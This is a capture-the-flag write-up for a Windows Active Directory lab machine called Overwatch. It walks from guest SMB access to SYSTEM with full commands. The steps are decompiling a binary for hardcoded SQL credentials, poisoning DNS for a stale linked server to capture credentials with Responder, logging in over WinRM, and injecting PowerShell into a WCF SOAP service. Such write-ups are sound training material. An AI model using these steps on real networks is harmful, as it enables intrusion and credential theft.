FILE 007 · Lateral / AD
Overwatch
A guest-readable SMB share hands over a .NET binary with SQL credentials in it, a stale linked server plus a DNS record I add myself relays auth to me, and a WCF service concatenates its input into PowerShell as SYSTEM.
- .NET decompile
- hardcoded SQL creds
- linked server DNS poisoning
- NTLM capture
- WCF command injection
OS: Windows Server 2022 · Difficulty: Hard
Overwatch is an Active Directory box where every step comes out of somebody shipping something internal. A monitoring app on an open share carries its own SQL credentials. A linked server points at a host that no longer exists, which is a problem only because I can create it. And the same monitoring app exposes a WCF endpoint that builds a PowerShell command by string concatenation, running as SYSTEM.
Reconnaissance
Nmap Scan
# kali
nmap -sC -sV -p- 10.129.55.169
| Port | Service | Note |
|---|---|---|
| 53 | DNS | AD DNS |
| 88 | Kerberos | |
| 389/3268 | LDAP | |
| 445 | SMB | |
| 6520 | MSSQL | SQL Server 2022, non-standard port |
| 3389 | RDP | |
| 5985 | WinRM |
Domain controller for overwatch.htb, hostname S200401.
Initial Foothold: guest SMB to hardcoded SQL credentials
Guest access to SMB is open, and there is a software$ share on it holding a .NET monitoring application:
# kali
smbclient '//10.129.55.169/software$' -U 'guest%'
overwatch.exe, overwatch.pdb and a pile of .NET DLLs. The PDB shipping alongside the binary is the giveaway that nobody thought about this share.
# kali
ilspycmd -p -o ./decompiled overwatch.exe
Three things come straight out of the decompile. The connection string:
private readonly string connectionString =
"Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
A WCF service configured on port 8000:
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
And KillProcess, which builds a PowerShell command out of its argument:
public string KillProcess(string processName)
{
string scriptContents = "Stop-Process -Name " + processName + " -Force";
using Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(scriptContents);
}
Note that last one and come back to it. The credentials are domain credentials, not just SQL ones:
# kali
impacket-mssqlclient 'overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.55.169' -port 6520 -windows-auth
EXEC sp_linkedservers;
-- SQL07, unreachable
Lateral Movement: sqlsvc -> sqlmgmt
A linked server pointing at a host that does not answer is not a dead end. The DC is also the DNS server, sqlsvc can write records, so I create SQL07 and point it at myself.
# kali
python3 dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' \
-r SQL07 -a add -d 10.10.15.31 10.129.55.169
# kali
sudo responder -I tun0
Then make SQL Server go talk to it:
EXEC ('SELECT SYSTEM_USER;') AT [SQL07];
The linked server config stored credentials for the connection, so what comes back is not a challenge to crack:
[MSSQL] Cleartext Username: sqlmgmt
[MSSQL] Cleartext Password: bIhBbzMMnB82yx
That account has WinRM:
# kali
evil-winrm -i 10.129.58.18 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
Privilege Escalation: sqlmgmt -> SYSTEM
BloodHound first, to check whether there is a cleaner path than the one already sitting in the decompile:
# kali
bloodhound-python -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' -d overwatch.htb -c all
ADAM.RUSSELL is a Domain Admin, the DC has unconstrained delegation, and there is no ACL path out of sqlmgmt. So it is the WCF service, which is bound to localhost and therefore only reachable now that I have a shell on the box:
# target
Invoke-WebRequest -Uri "http://localhost:8000/MonitorService" -UseBasicParsing
# => StatusCode: 200
KillProcess concatenates its argument into a PowerShell script, so a semicolon ends the intended command and starts mine:
# target
$body = @"
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<KillProcess xmlns="http://tempuri.org/">
<processName>test; whoami | Out-File C:\temp\pwned.txt</processName>
</KillProcess>
</s:Body>
</s:Envelope>
"@
Invoke-WebRequest -Uri "http://localhost:8000/MonitorService" `
-Method POST -Body $body `
-ContentType "text/xml; charset=utf-8" `
-Headers @{SOAPAction='"http://tempuri.org/IMonitoringService/KillProcess"'} `
-UseBasicParsing
type C:\temp\pwned.txt
# => nt authority\system
Same request shape reads the flag, since the service has no reason to be running as SYSTEM but is:
# target
<processName>test; type C:\Users\Administrator\Desktop\root.txt | Out-File C:\temp\flag.txt</processName>
Flags
| Flag | Hash |
|---|---|
| User | <redacted> |
| Root | <redacted> |
Attack Path Summary
SMB guest access to software$ on the DC
→ overwatch.exe + overwatch.pdb → ILSpy → sqlsvc:TI0LKcfHzZw1Vv in the connection string
→ creds are domain-wide → impacket-mssqlclient on :6520
→ sp_linkedservers shows SQL07, unreachable
→ sqlsvc can write DNS → add SQL07 pointing at me, start Responder
→ EXEC ... AT [SQL07] → linked server sends stored creds → sqlmgmt:bIhBbzMMnB82yx
→ WinRM as sqlmgmt → user.txt
→ WCF MonitorService on localhost:8000, from the same decompile
→ KillProcess concatenates into PowerShell → semicolon injection as SYSTEM → root.txt